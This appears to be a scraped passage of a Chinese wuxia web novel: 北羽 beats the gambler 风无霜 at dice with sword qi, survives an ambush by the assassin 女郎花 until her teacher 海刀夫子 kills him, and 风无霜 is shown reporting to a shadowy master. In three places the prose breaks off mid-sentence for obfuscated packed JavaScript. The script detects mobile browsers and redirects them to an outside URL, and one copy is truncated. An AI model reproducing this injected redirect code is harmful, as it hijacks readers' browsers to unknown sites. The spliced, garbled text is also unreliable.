少东家脸色骤变,指着大汉鼻子骂道:“姓烈的,别以为你有西海无极宫罩着,就可以随处撒野,这里是北境的天枢城,不是西海的地盘,你给老子滚!” 烈悠咧开嘴巴,“臭小子,毛都没长全,敢和大爷我叫嚣,你老子都得客客气气喊我一声老哥!光急吼吼替你那童养媳出头,怎不见她急冲冲嫁你?” 被戳中痛处,少东家气得跳脚,北羽跟玄北离的脸悄然绿了,风无霜竟然有未婚夫,那云笙弦的美人计岂非…… 忽然,一道清脆女声响起在赌台里,回音阵阵。 “烈七爷如此急着见我风无霜,莫非是嫌平日进账太多,腰包盛不下,欲赠我万贯家财。” 赌台的顶楼之上,一支乐班从幕后走出,他们身着白衣,吹箫,弹琴,奏鼓,美妙的管弦之乐顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491600|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时让整座喧哗的赌台安静,一支长箭射向顶端的巨大绣球,散落五道长长的彩绸。 封闭的金雕大门缓缓打开。 伴随着低沉的喘气呼吸声,一只巨大的白虎驮着黑衣女子走出。 白虎样貌奇特,额生三目,长约十二尺,通体银白,无一根杂毛,兽瞳泛着诡异红光,像极了黑衣女子耳边荡动的血红宝石坠。 烈悠笑道:“原来天下第一赌手,是个妩媚佳人。” 风无霜眯起眼:“到了赌桌上,你会把我当仇人。” 烈悠哈哈大笑,“那你我便赌上一局,看看,你有没有资格当我的仇人!” 风无霜:“今天不行。” 烈悠变脸:“为何?” “我已经有约了。” 她遥遥一指北羽,“烈七爷若要抢先一步,先过这二位的关。” 烈悠侧目而视,不悦冷哼:“只是两个少年罢了。” 风无霜一笑,“烈七爷走南闯北,跟星宫的长老都做过生意,论眼力应该是世间数一数二的人物,但如今看来,你的威名只是个笑话。 天下十大名剑,残仙、不见人间,正明晃晃摆在眼前,你竟然不识?” 烈悠一愣,惊骇转身,惊奇抬眸,口中不由自主念道:“那她就是仙骨北羽,圣剑山白发剑圣唯一的徒弟,而他就是揽月剑圣跟朝阳郡主的独子,玉瑶玄氏的少主。” 无数双视线投来,北羽庆幸她戴了面具,玄北离淡定朝烈悠施了一礼,他听过西海烈七爷的名号,西海财脉,十之三四,尽在此人之手,值得以礼相待。 少东家则大叫一声,退避三舍。 他刚刚似乎疯了,要把剑圣的徒弟和剑圣的儿子,打出天下第一赌坊。 北羽抱拳行礼,“烈前辈,您鼎鼎大名,不至于为难我们两个晚辈吧。” 天杀的风无霜,不想得罪烈悠,就把她推出去挡灾,无奈她的一万两被人家捏在手里,除了帮忙,别无他法。 草! 白发剑圣的徒弟,喊他前辈! 烈悠的虚荣心得到满足,“年轻的时候,白发剑圣来西海挑战无极宫主,我有幸见识传说中的仙人一剑,前缘在此,今天我只当什么都没发生过。 打牌,咱哥几个打牌。” 他挪动微胖的身躯,跳下赌桌,面色如常开始搓牌。 解决完麻烦事,风无霜伸了个懒腰,躺倒在虎背上,右手朝北羽勾手指头,左手拍了下虎头,白虎往楼上走,北羽和玄北离跟在后面。 北羽扭头问玄北离:“话说回来,你父亲揽月剑圣,真的能令白日生出黑暗,剑气幻化圆月,星辰绽放光辉吗?” “父亲的月星霜华,白日使出,方圆十里陷入黑暗,夜里使出,天空便有两轮圆月。至于星辉,是引星剑的本领,它出自星宫,曾被长老赐福,与星辰呼应。 星月本为一处,所以引星剑与我父亲剑道异常契合,为了引星剑,他甚至没有继承玄氏传家宝,天下十名剑之一,不见人间。” “那你父亲和血凰剑圣比,谁强?” 北境六剑圣公认第一是白发剑圣,其余无定论,坊间常把血凰剑圣排进前三,是因为他曾随镇北王上过战场,歼敌千数,有战功在身,受到敬重。 玄北离仔细想了会儿,“他们没比过,我答不上来,不过,雪颂剑圣曾找父亲对剑,父亲输了她半招,赞她一颗剑心,玲珑剔透。” “雪颂的威名,我实在听过太多了。你往年入宫朝拜,见过轩宸帝身边的秋落剑圣吗?” 玄北离察觉异常,疑惑道:“你怎么突然对剑圣这么上心,自半年前起,你不再练剑,甚至不许我们在你面前提起有关剑的事情,今天为何转性?” 北羽低下头,“我……只是好奇。” 见识到血凰剑圣的凤凰涅槃,她仿佛回到小时候,跟师父待在圣剑山上,天地间只有他们,她也最崇拜师父,崇拜他一剑破天的气魄。 而不是像现在,连剑都不肯练了。 但也不能怪她。 一出生她就被抱到圣剑山,通过画像认识爹娘,从早到晚,除了练剑就是读书,单纯以为,世间孩子都是这般活着。 直到发生一件大事,师父被迫闭关,将她送来学宫,托付给海刀夫子,她认识了一堆同龄人,才发现谁都过得比她快乐。 她渐渐明白,生来仙骨不是一件完全没坏处的好事。 半年前,学宫筹备试剑大会,圣剑山飞来上百封书信,要她日日苦练,务必夺得榜首,这些书信成了压死骆驼的最后一根稻草,北羽叛逆心起,别说苦练,直接不练了! 并且,她决心谋划一场惊天动地的大计划,让白发剑圣放弃督促徒弟成为天下第一,弥补他过去遗憾的执念。 计划成败与否,第一关在风无霜,绝对不能出师未捷身先死。 北羽摸了把毛茸茸的虎尾巴。 4. 卷一·学宫试剑 踌躇满志的北羽,在迈进赌阁的那一刻,支离破碎。 “啊啊啊!哥啊!风无霜把你怎么了!” 穿着雪白裌衣的云笙弦,乖巧坐在赌桌前,绯红色的纱裙堆积在腿边,见到北羽、玄北离,他淡淡笑了。 北羽冲过去,将他挡在身后,警惕看着风无霜,风无霜叹息一声:“唉,我跟他赌了半天,他赌光了银子,我们便开始赌衣裳,无论我讲了多少个笑话,他始终不为所动,我堂堂神赌,陪他玩过家家似的赌局,竟连一个笑脸都讨不到。可悲啊。” 玄北离:“风神赌,我这位兄弟已经有心上人了,他是被我们硬拉来的,如有冒犯之处,望海涵。” 风无霜翩翩落座,手托着下巴,盯着云笙弦,“哪来的冒犯,静静看着他,已经让我感到幸福了。” 北羽咳嗽两声,“风神赌,你已经跟我表哥玩了半天,接下来,该跟我谈正事了吧。” “我今天无心旁事,只想跟大美人卿卿我我。”风无霜娇媚一笑,撇了眼云笙弦,“还是他陪我玩吧。” 北羽不乐意了,将面具一扯,也摘下玄北离的帷帽,“我俩长得不比他差。” “不一样。”风无霜笑道。 “什么不一样?”北羽问。 “你们三个的好看,不一样,他是画中美人,你是绝色姑娘,玄公子是无双少年,而我喜欢美人。” 云笙弦:“风小姐,北羽确有要事相商,请你给她一个机会,只要你还愿意,过两天有空了,我再来跟你赌。” 风无霜两眼放光,“当然愿意!只要你来,我随时奉陪!走,我送你出去。” “不劳大驾,我自行离去即可。” 他拿起衣裳披在身上,临走朝北羽、玄北离问了一句:“你们晚上回去吃吗?” “不了,晚上我去小姨那里。北羽,你与我一起去吗?” “长安县主摆宴肯定是撮合你跟她女儿,我去凑什么热闹,哥,你帮我打碗鸡丝粥当夜宵。” 玄北离眼神暗了一瞬。 北羽坐到风无霜对面,将荷包放在赌桌上,“来吧!我要用二十两银子,赢回一万两!” 风无霜无聊打了个哈欠,“记住,按前日约定,这回你若输了,残仙剑就得留在天下第一赌坊。” 她的眼神落在北羽腰间,“残仙认你为主之前,曾是南境天心女帝床头饰物,若能安在赌阁的墙上,恐怕天下来找我赌博者,要翻上三倍。本神赌的身价,可再翻五倍。即便你来日后悔,哭着鼻子拉白发剑圣来讨剑,我也不还的。” 北羽:“君子一言驷马难追!不就一把剑,有何舍不得,倘若我赢了,你需讲出我要的消息。” “消息嘛,等你赢了再谈不迟。” 风无霜手法娴熟地摇起木盅,骰子在一方小天地里晃动,啪啪作响,这是赌徒耳中最动听的声音之一。 “买定离手,是大是小。” 北羽全神贯注,竖耳倾听,指挥玄北离把二十两压在“小”字上,一百两压在“大”字上。 风无霜按在木盅上的手指微动,刚要打开,另一个白得几乎透明的手,轻轻按住她,北羽笑眼弯弯,霎那间容光艳照,晃瞎了风无霜的眼。 “无霜姐姐,你要对小妹手下留情啊。” “看运气的事,何来留情一说。” 风无霜掀开木盅,瞳孔放大,原本应该出现三个一点的骰子,竟然全是六点,毫无疑问的大。她不由瞟了一眼北羽。 “这局,你赢了。” 她掏出一万两银票。 这点钱于她而言,九牛一毛。 北羽欢天喜地接过去,太好了!这下,南戏霖不会跳湖,叶一片也不会投井了,他们的棺材本老婆本回来了! 风无霜看着木盅和赌桌,微微皱眉,她赌术超然,本身也是一个出千的绝顶高手,北羽有几斤几两,前日赌桌上她已经摸透,怎么短短两日,突飞猛进至此。 “开始下一局吧!” 北羽信心十足,摇动木盅,扣在桌上,风无霜咬咬唇,将钱全压在“大”字上。 揭开木盅,三枚红点,像刺扎进风无霜眼里,她将桌一拍,“你耍千!” “你前天没耍吗!”北羽也拍响桌面。 风无霜冷笑一声。 神赌不玩老千,怎么成为神赌。 方才两局,她动了手脚,但结果全变了,不必多言,定是北羽在她眼皮子下耍花招,气人的是,她竟然没看出北羽的手法。 “我输了,我认,但你要坦白用了什么法子。木盅、赌桌全是我的,骰子也在我控制中,你如何使骰子翻身。” 北羽慢悠悠拉长腔,“我嘛,不喜欢赌钱,赌术上毫无建树,但我的好朋友南戏霖是赌场常客,前日赌局上,他看出你逢赌必耍老千,就同我研究出一个邪招。” 她拿起木盅道:“我所练的剑法,取自山川万物,这盅是木头,乃自然之物,我将一缕剑气融入,无声无息,剑气拂过骰子,操控一翻,就能扭转乾坤。” 风无霜释怀了,原来是剑气。 下次跟剑客赌钱,换个银盅。 “算你们聪明,我服输。” 北羽双手攥拳,耶!大获全胜。 “不过,消息我不能告诉你。” 啊? 北羽一愣,随即恼怒,风无霜怕她砸东西,又添了句,“我有苦衷的!” “你问的消息,牵扯甚广,连神机阁都不敢收,若非掌握消息的人,嗜赌如命,拿来当赌注,我也不愿沾惹此等是非。” 北羽蹙眉,这么复杂吗。 她只是想要一个人的行踪。 一个大胆猜测冒出来,她道:“莫非月冷花下一个目标,是个大人物?” 风无霜迅速捂住她的嘴,警告道:“别在这里提他的名字,世上消息最灵通之处,莫过于赌坊青楼,万一隔墙有耳,走漏风声,我会遭殃的。” 北羽闷声道:“你跟他不是朋友吗。” 风无霜下意识摸了下发髻上的一支钗。 “朋友又怎样?他是北境罗刹堂第一杀手,指不定哪天心念一动,觉得我知道他太多秘密,将我杀之。” “倒是你,一路从神机阁追查到天下第一赌坊,不找到他,誓不罢休的样子,难道,是想调查你小时候被魔教伙同罗刹堂绑走的事?” 北羽摇摇头,“小时候的事,我已经忘了。我找他另有原因,不便明说。” “你若真不想告诉我他的下落,前日就把我打发了,何必今日再次相约,风无霜,你是又想出新的条件了吧。” “聪明。” 风无霜拍拍手。 “神机阁掌握天下机密,只要钱到位,连下一任皇帝是谁都能给你挖出来,可是,我们赌坊最不缺的就是钱,卖起消息来更看重买家的身份。” 北羽有点无语,指向自己,“你觉得我不够格?” 风无霜颔首。 “虽然你也算一个名人,天下江湖,都知道你的存在,但不是因为你够强,而是仙骨稀罕。空有名头无实力,把消息告诉你,有失格调。” 北羽跺脚,感觉里里外外都被耍了,拉着玄北离转身就要走,风无霜赶紧道:“不过,现在有一个大好机会摆在你面前,供你提高身价,换我的消息。” 北羽翻了个白眼,“一口气把话说完可以吗。” “心急吃不了热豆腐,聊天就要慢慢来,感情也要一点点培养。”风无霜颇为厚脸皮,“试剑大会召开在即,你拿了榜首,扬名天下,无数势力等着追捧你,连轩宸帝都会请你做天枢禁军头领,区区一个杀手的行踪,天下第一赌坊自然双手奉上,乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491601|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意跟学宫第一少年交个朋友。” 北羽脸色变了变,没有回答,走出了赌阁。 赌阁金门开,妙乐奏起。 赌坊里的人们停下动作,朝上看去,个个敛声屏气,看那个雪肤花貌,粉衣俏丽的绝色少女,她虽耷拉着脸,仍旧美得惊人。 突然,赌阁的门再次打开,一个黑衣女子从里面奔出,拦住了她。 “刚才,忘了件事。”风无霜眨眨眼,贴到北羽耳边,将嗓音压得很小,“我给你黄金万两,你教我轻功霞雀如何?” 北羽一怔,答道:“霞雀是北境最好的轻功,秘籍乃无价之宝,你不是圣剑山弟子,我不能教你。而且,霞雀学起来特别辛苦,凭你养尊处优的身子骨受不住。” 风无霜失落不已,“那好吧。” 北羽不解:“你学霞雀做什么?” “听闻,这门轻功施展起来,如雀鸟掠云霞,潇洒无比,十分自由,如果学会,有朝一日,我也能像鸟一样飞出天下第一赌坊,遨游天际。” 北羽更不理解了。 赫赫有名的神赌,竟然想离开赌坊,这算什么,退隐? 她同玄北离走出天下第一赌坊,一辆华丽的马车停在街边,宫装女子迎上来,“少爷,县主已经在府中等候您了。” “去呗,堵你都堵到门口了。”北羽怂恿玄北离,“去看看你那位才貌双全的表妹。” 总是推脱姨妈的邀请,早晚她会堵上学宫,玄北离不想把事情闹得人尽皆知,只能上了马车,他掀开车帘看着北羽,北羽朝他挥手,笑得灿烂。 玄北离叹了一口气。 马车渐行渐远,北羽转过身,吃痛捂住肋骨。 被血凰剑圣打伤的地方,越来越疼了,她不行了,她要回学宫躺着。 北羽在路边蹲下,等待流水车到来。 天枢城大得离谱,为了方便通行,有些商人设了流水车,一车容纳十余人,没钱坐马车的百姓,都喜欢坐流水车,只要两枚铜钱就能去到天枢城的角角落落。 月亮悬挂天边。 第一赌坊旁边,天枢城铺面最大的香料店,香风阵阵,莺声笑语,有几个站在外面的姑娘,发现了北羽,聚在一起,笑着议论她的脸蛋。 看她难受,还上去问,妹妹要不要药? 北羽直摆手。 她们也不恼,“妹妹怕我们吃了你吗?” “是啊!她怕你们,别逗她玩了!” 明朗的声音解救了北羽。 尘土微扬,她心心念念的流水车停下,一个少年跳了下来,老母鸡展翅护小鸡一般,把围在旁边的女子赶走,“诸位姐姐去忙吧。” 他扶起北羽,坐上流水车,后面是几个愁大苦深,赌得只剩裤衩的人。 “听说你跟血凰剑圣打了一架,怎么着,骨头打断了?” “仙骨哪会断,只是受创,也就断了三分之一。” “哇,你真抗揍。” “南戏霖,再幸灾乐祸,我就把你踹下车!” 南戏霖哼哼了两声,掏出一瓶止疼药丸丢给她,“踹我?你怂恿我跟叶一片杀别人的猪吃,害得我俩被猪主人拉去给猪修坟墓,又输光我的家底,我踹你才对。” 北羽:“我怎么知道那头黑野猪有主人!它那么壮,那么丑,我以为是林子里跑下来的山猪,才招呼你们吃野味。” 南戏霖捂住耳朵,“不听狡辩,受苦修墓的是我们,刚开始搭了个石头坟,猪主人不满意,非要修个木陵,我和叶一片劈了三天柴了。我死了,都不一定有这么大的坟,这年头,猪过得比人好。” 北羽朝他敞开钱袋,“嘘,你看这是什么。” 南戏霖哟了声,喜上眉梢,掐着嗓小声道:“赢回来了,咱俩真厉害。” 他的眼睛亮晶晶,北羽笑了。 5. 卷一·学宫试剑 南戏霖是海刀夫子的养子,海刀夫子蛮疼爱他,但钱真给不了多少。 夫子练霸刀,对钱财不甚上心,只花朝堂俸禄,不收任何的金银,怕那些金灿灿白花花的好东西,染了贫苦人家的血。 俸禄一下来,付酒钱、铸刀钱,留一部分日后办葬礼的钱,一部分救济他人用的钱,剩下的就给南戏霖。 南戏霖立志要成立第二个神机阁,整日满城跑着搜集消息,花钱的地方不少,手头总是紧巴巴,衣裳也缝缝补补,擅长把旧衣服和旧衣服拼凑一起,当新衣穿。 他将积蓄借给北羽,简直是两肋插刀的义举。 “风无霜有把消息给你吗?” “没有,人家嫌我不够格跟赌坊做交易,非要我成为试剑大会的榜首。” “那就去参加试剑大会,许多人等着看声名远扬的仙骨,究竟有多强,专门为你买票呢。” 北羽纠结,“可我……” “如果白发剑圣铁心要你成为天下第一,即便你不去试剑大会,将来还有无极宫的无极大会,躲得了初一,躲不了十五。 反之,你参加试剑大会得了第一,成功拿到消息,帮白发剑圣解开心结,他就再也不逼你了。” 南戏霖分析得头头是道。 北羽仍旧纠结:“可我……” 南戏霖:“你到底顾虑什么?” “哎呀,你也知道,叶一片特别想拿下榜首,之前我告诉他,我不去试剑大会,他可高兴了,现在,我突然反悔,叶一片该怎么想我。” 南戏霖寻思片刻,不敢下定论,便道:“赶明儿,你去见他一面,若他不开心,我去哄便是。” 北羽点点头。 有南戏霖出马,她踏实多了。 南戏霖脑袋灵光,心细嘴溜,十个人加一块也说不过他,凡事到了他那里,总有解决法子,再严丝合缝的难题,也能被撬开。 吃了药丸,肋骨没那么疼了,北羽趴在车栏上看景。 流水车正穿过一片集市,很热闹,灯火通明,人声鼎沸,商贩堆笑卖货,少年结伴同玩,妇人牵着孩子挎着篮子。 学宫在天枢城的东区,贵人云集,流水车走不到那里,北羽、南戏霖只能再走过三条街。 南戏霖扶着北羽慢走,见街上人多,索性绕了一条巷子,但出了巷子,街上居然连一个人影都不见,空荡荡的街道,只有他们的影子。 “到宵禁时辰了吗,为什么没人?” 北羽觉得奇怪。 南戏霖左顾右盼,“不仅街上没人,茶肆酒馆竟然也熄灯了。” 他停下来,“北羽,你看月亮。” 悬挂天际的弯月,洁白整齐,北羽眯眼,真像纸糊的,她抓紧南戏霖,右手握上剑柄,随时准备出剑。 残仙轻微晃动。 它也察觉到不安的气息。 两个人加快脚步,几乎跑起来,忽然,南戏霖感到头顶掠过一阵冷风,抬眸一看,竟然是一道黑影,霎时头皮发麻,北羽轻呵一声,残仙飞起,黑影一闪躲过,落在他们身前三米处。 当黑影站稳后,四周各处都出现了披着宽大黑斗篷的人,或站在屋檐,或立于树梢,如鬼随影,布下天罗地网。 “什么人,敢在学宫附近作乱!”北羽侧身护住南戏霖。 “暗影之下,地狱罗刹。月辉所及,血光所至。” 尖细又沙哑的声音中,黑影抬起脸,敷了厚厚一层白粉的肌肤,惨白无比,眼圈却涂了艳丽胭脂,像个纸人。 北羽和南戏霖对视一眼,皆心惊胆颤。 罗刹堂,天下第一杀手组织,网罗世间嗜血好杀者,遍布各国,干的尽是见不得人的勾当,只要出得起价,皇帝都敢杀,组织内以风花雪月为名,北境为花,南境为月,东海为雪,西海为风。 惟有星地,是它不敢沾惹的净土。 南戏霖勉强笑道:“肯定有什么误会吧,罗刹堂的女郎花前辈,怎会屈尊对付我们两个小毛头。” 女郎花嘻嘻一笑,尖锐道:“小子有点见识,知道我女郎花,待会儿,我可以考虑不灭你的口,毕竟今夜来杀仙骨,理应举世皆知,扬我罗刹威名。” 北羽浑身肌肉紧绷。 女郎花是罗刹堂北部最出名的刺客之一,杀名仅次于北境第一杀手月冷花。 据传,他本是正派名门,偷练邪功时,不慎走火入魔,变得不男不女,自光明坠入黑暗。 他加入罗刹堂,接的第一个单子,就是曾经的师门满员,残暴罪行,江湖切齿。 她近日四处打探罗刹堂的消息,谁曾想,今夜竟沦为目标。 买家是谁?与她何仇,竟然下这么大手笔。 女郎花甚强,几乎比肩剑圣,又带了不少人手,哪怕全胜状态下,她也不一定带着南戏霖全身而退离开,何况,白日对剑落下的伤,削弱了她三分。 北羽褪下右手玉镯,塞给南戏霖,“等会我拖住他们,你找机会快溜。” 南戏霖:“飘逸镯给我,你怎么办?” “看着办呗!” 北羽眸中闪过狠劲。 她双手戴镯,左手一枚阳春白雪,剔透玉色荡漾一抹绿意,是好友们凑钱送她的生辰礼,右手一枚翠环,内里镶嵌一只飞鸟,戴在手上,飞鸟缓缓转动,取下来,飞鸟静止,是圣剑山独门轻功霞雀的佩镯,又名飘逸镯,原是一对,世上也只有两枚。 传说,镯中封印着上古神鸟的精魂。 戴着飘逸镯,方能完全施展霞雀,其他人戴上,轻功亦能倍增。 希望这枚镯子,能让南戏霖身手轻巧些。 残仙起势,攻向西南角。 虚假的月光下,闪起无数道寒光,北羽手握残仙,剑随心动,一念瞬杀,五名杀手毙命,南戏霖配合着向西南方奔去,不料,女郎花忽然闪现,一拂袖将他击回原处。 “不愧是仙骨北羽,好厉害的剑。”女郎花扫了一眼地上的死尸,“小小年纪,出手如此狠辣,若你身处罗刹堂,月冷花的第一杀手之名,恐怕将由你继承。” “面对取我性命者,当然要狠!” 北羽再次动身,直冲女郎花而去,剩余的十八名杀手撒出一张巨大的银网,催动内力,趴在银网上的七色蜘蛛吐出毒丝毒液。 她挥剑,冷冽寒气四起,一朵朵梅花绽放在空中,接住毒丝液体,巧妙化解了著名的罗刹堂八杀器之一,七毒银丝网。 与此同时,剑气惊起屋瓦之上,刺向那些杀手,遍地横尸。 女郎花眉头微皱,北羽竟然转眼间就杀光他的随从。 十六岁,就这么强大了,可怕的天赋啊。 “幸好堂主没有轻敌,派了我来,否则,以北羽姑娘的剑法,罗刹堂内真没有几个人能杀死你,难怪,圣剑山的白发剑圣对你寄予厚望。” 他摘下插在发中的一支玫瑰簪,抛向空中,血光乍现,染红月色,整条街飘起腥气,惨白的手臂从地面钻出,一眼望去密密麻麻,约有上百条。 北羽睁大眼,立即跑到南戏霖身边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“别得意的太早,我尚有一战之力!”北羽咬牙切齿。 女郎花眼力过人,随便将南戏霖丢掉,尖笑道:“北羽姑娘,腿都软了,何必逞强。” 这句话如同毒液,滴进北羽盛满疲惫的心,岂止腿软,她手都快握不住剑了。 躺在地上的南戏霖伸手拽她,“别打了,再硬撑下去,你就要力竭而死了。” 北羽眸中浮上一层水雾,“我不跟他拼命,咱们都会死,我真后悔今天跟血凰剑圣打架,更后悔这半年来没有好好练剑,以至于不是女郎花的对手……连累了你……” 南戏霖笑了,“照你这么说,我该怪小时候把我家灭门,将我打成残废的仇人,否则,我今日就能拿起剑,帮你一起对付女郎花。” “即使今天我死了,也跟你没关系,杀我害我的,另有其人。” 北羽咬唇垂首。 南戏霖抬眼望向女郎花,“前辈,胜负已分,可愿让我二人做个明白鬼,何方神圣,买动了你的剑。” 女郎花掐起兰花指,居高临下看着瘫在地上的两人,见到他们脸上的恐惧,尚且觉得,要杀的是两个孩子。 唉,还是孩子。 不过......一个比猴精,一个实力快赶上剑圣,又算哪门子小孩,分明是劲敌! “小子,想套我的话,没门。” 女郎花杀意腾起,抽出腰间软剑,飞身刺去,剑势如滔天巨浪。 残仙感应到主人的恐惧,竖立挡在北羽面前。 生死之间,北羽只觉得有风猛刮过脸颊。 随后,她听到惨叫。 6. 卷一·学宫试剑 “啊啊啊啊!我的手!啊啊啊啊!” 女郎花捂住喷血的右肩,退到十米外,痛得眼眶欲裂。 熟悉可靠的宽大身影,落在北羽前面,她呆住了,呢喃道:“夫子。” 南戏霖松懈下来,“老爹,我差点以为你赶不来了,不阴不阳的怪物要杀儿子,你快点替儿子报仇啊!” 海刀夫子挖挖耳朵,将断臂随意一扔,“在学宫附近杀我学宫弟子,罗刹堂越来越有能耐了。” “女郎花,如果你告诉我,谁是幕后黑手,我可以大发慈悲留你小命,让你去黑水狱了却残生。” 女郎花怨恨盯着他,啐了一口,“死老头,一入黑水狱,生不如死。要杀便杀,少摆出冠冕堂皇的模样,令我恶心。” 一年前他摸清北羽实力,深知此行不易,派手下潜伏许久,发现北羽每回离开学宫,必结伴同行,四个少年中除了南戏霖,都在虚空境,不容小觑。 刺杀难度太高。 他生怕失手,一直等待最佳时机。 但比起面对几个毛都没长全的小子,他更担心学宫夫子出手,虽然,海刀久未在江湖露面,但用脚趾头想想也知道,霸刀威力只会与日俱增。 即便如此,他也没料到,霸刀强悍到这个地步,竟然直接斩断他臂膀。 女郎花忽然记起,他做徒弟的时候,师尊讲过的话。 “镜悬大陆,以剑为尊,刀流之中,最强莫过于霸刀与灭刃,霸刀又叫绝命刀,一旦出刀必取一条人命,而且一代一传,徒弟练成了,师父就要退隐,正如一山不容二虎,雄霸天下的刀,只能有一柄。” 像他这样弑师弑兄弑姐的败类,没有被五马分尸,反而死在北境第一刀下,何尝不是快哉。 女郎花大笑三声,目光投向北羽,恶狠狠道:“你护得住仙骨一时,却护不住一世,黄泉路上,我等着她!” 海刀夫子叹口气,扭头道:“北羽,南戏霖,闭上眼,数三个数再睁开。” 二人乖乖听话,再次睁眼时,女郎花已经倒在血泊中,而他的脑袋,在海刀夫子手中。 北羽瞠目结舌:“夫子,女郎花那么强,你杀他,犹如切瓜,莫非你以前是个杀人狂魔!” 海刀夫子翻了个白眼,“你被打傻了吧,皇帝会封杀人犯做官?霸刀就是这样霸道,一出手,血流成河,所以我一直很低调待在学宫。” 北羽哇了一声,感叹他深藏不露,就连略胖的身子,也在她心中变得无比伟岸。 装够了的海刀夫子,撕下半截衣摆,将女郎花的头包起来,在街角找了辆废旧的拉货车,把南戏霖抱上去,喊北羽也躺上来。 随后,他拉着车,运菜似的往学宫走。 那颗人头被他别在腰间,一晃一晃的。 北羽一阵恶寒,“夫子,你干嘛拿着他的头。” 海刀夫子:“少管闲事。” “哦。” 她讪讪闭嘴,旁边半死不活的南戏霖道:“女郎花是罗刹堂在北境数一数二的高手,老爹拿走他的项上人头,罗刹堂不会坐视不理的,估计派个代表来取脑袋。 到时候,老爹就能问问,谁在罗刹堂下单要你命。” 海刀夫子点头,“北羽,你师父白发剑圣尚未出关,在我查清真相前,你要多加小心,最好别出学宫,出去也要结伴。对了,别跟我儿子结伴,他不经打。” 南戏霖为自己挽尊,“虽然我不抗揍,但我聪明啊!老爹,若非我上赶着让女郎花往死里打我,触动了你留在我体内的护命真气,你估计已经一边痛哭流涕,一边给我和北羽收尸了。” 北羽举双手表示赞同。 “夫子,罗刹堂会再派人来杀我吗?” “最近不会了。排名第二的杀手都死了,他们总得投鼠忌器。”海刀夫子哼起小调,得意于自己宝刀未老。 南戏霖:“老爹,不对啊,你来得太快了吧,从学宫到这,至少半盏茶,但我刚被打完,你就来了。今夜,你本来就不在学宫,而在附近,对吗?” 海刀一噎。 北羽也发现端倪,“是啊夫子,你穿得好隆重,甚至带了发冠,肯定是去赴约的!” 海刀如鲠在喉。 晚风吹过他精心打理的发饰,藏在衣下的束带,紧紧勒住腰间的肉,他努力使外表靠拢天枢城里那些矫揉造作的贵族,但心里清楚,高矮胖瘦,黑白美丑,打娘胎里就定了。 他再怎么梳发,收腰,也比不过那个男人。 此番临阵脱逃,可耻啊。 海刀夫子扯开话题,“北羽,女郎花死了,月冷花不在北境,罗刹堂暂时不会接杀你的单子,但是,幕后真凶,或许有其他手段等着你,你千万要谨慎行事。” 月冷花居然离开了北境?! 有意思。 北羽将手垫到后脑勺底下,望着满天繁星,风无霜、月冷花、女郎花背后的买家,这三个人将成为她最近的烦恼了。 即将到来的试剑大会,也是。 …………… 月色朦胧,夜已过半。 天下第一赌坊依旧人声鼎沸,赌阁金门后却一片寂静,风无霜身披黑纱,端坐书案前执笔蘸墨,白虎趴在她脚边,舔舐毛发。 “赌为取巧之术,究其源头,已不可考,北境开阳城风家有祖传神赌,被誉为神之手也,设天下第一赌坊,历时百年,欲来摘匾者无数,无一能胜。” 有风来。 白虎炸毛,压低身子发出吼声。 风无霜安抚它,将窗合死,弯腰行礼,“见过尊使。” 书案前,一只手拿起书卷,低沉嗓音道:“赌徒录,几十年过去了,风家还没写完这本书呢。” “家父骤然离世,赌坊被易氏夺去,无霜怎有心情撰书……” “易文盛的儿子,不是很爱你,对你很好吗?” 爱? 风无霜苦笑。 百年基业成了外姓家奴的掌中之物,她已愧对列祖列宗,怎会在乎那点真情。 “吩咐你办的事,如何了?” “回尊使,属下已经用月冷花的去向调动北羽参与试剑大会,但北羽,并未当场答应。” 尊使轻笑,“她会去的,某个自作聪明的蠢货,按耐不住动手了。北羽是个聪明人,明白这个时候越多人关注她,她的处境越安全。试剑大会已经变成她自保手段了。” “东海的事,有眉目了吗?” 风无霜:“属下查到,东海某处斗兽场曾有一个符合您条件的少年出现过,三年前被买走,买家身份神秘,请容我继续打探。” 尊使念道:“东海……斗兽场……呵,那可是个好地方呢。” 他从怀中掏出一个药瓶,风无霜双手接过。 “新配的解药,半年的份量。” 风无霜抬起头,眸中闪过一丝惊讶,往常赐药,顶多给三个月,今日何故给了半年的量。 莫非又出意外,要割断外界联络了?! 尊使斜睨着她,慢条斯理道:“开阳城风家的忠诚,主上一直很满意,自你曾祖起,皆是以死殉节的义仆,他老人家记得你,关心你呢。” 风无霜浑身一震,赶紧表忠心。 尊使懒得听废话,摆摆手道:“记住,试剑大会结束前,你要一直盯着学宫动向,这具仙骨只有磨炼够多,日后主上用起来才称心。” “是。”风无霜低眉顺眼道。 尊使走后,她独上阁楼顶,望着半城烟火,百味杂陈。 白日她是易氏父子的提线木偶,黑夜她是祖业传承下一枚听命他人的棋子,什么时候,她才是风无霜呢? 右边衣袖贴着肌肤的锦帕柔软细腻,她轻轻抽出,望着帕子上的云彩,微微一笑。 无论易氏父子还是尊主,都决定不了她喜欢谁。 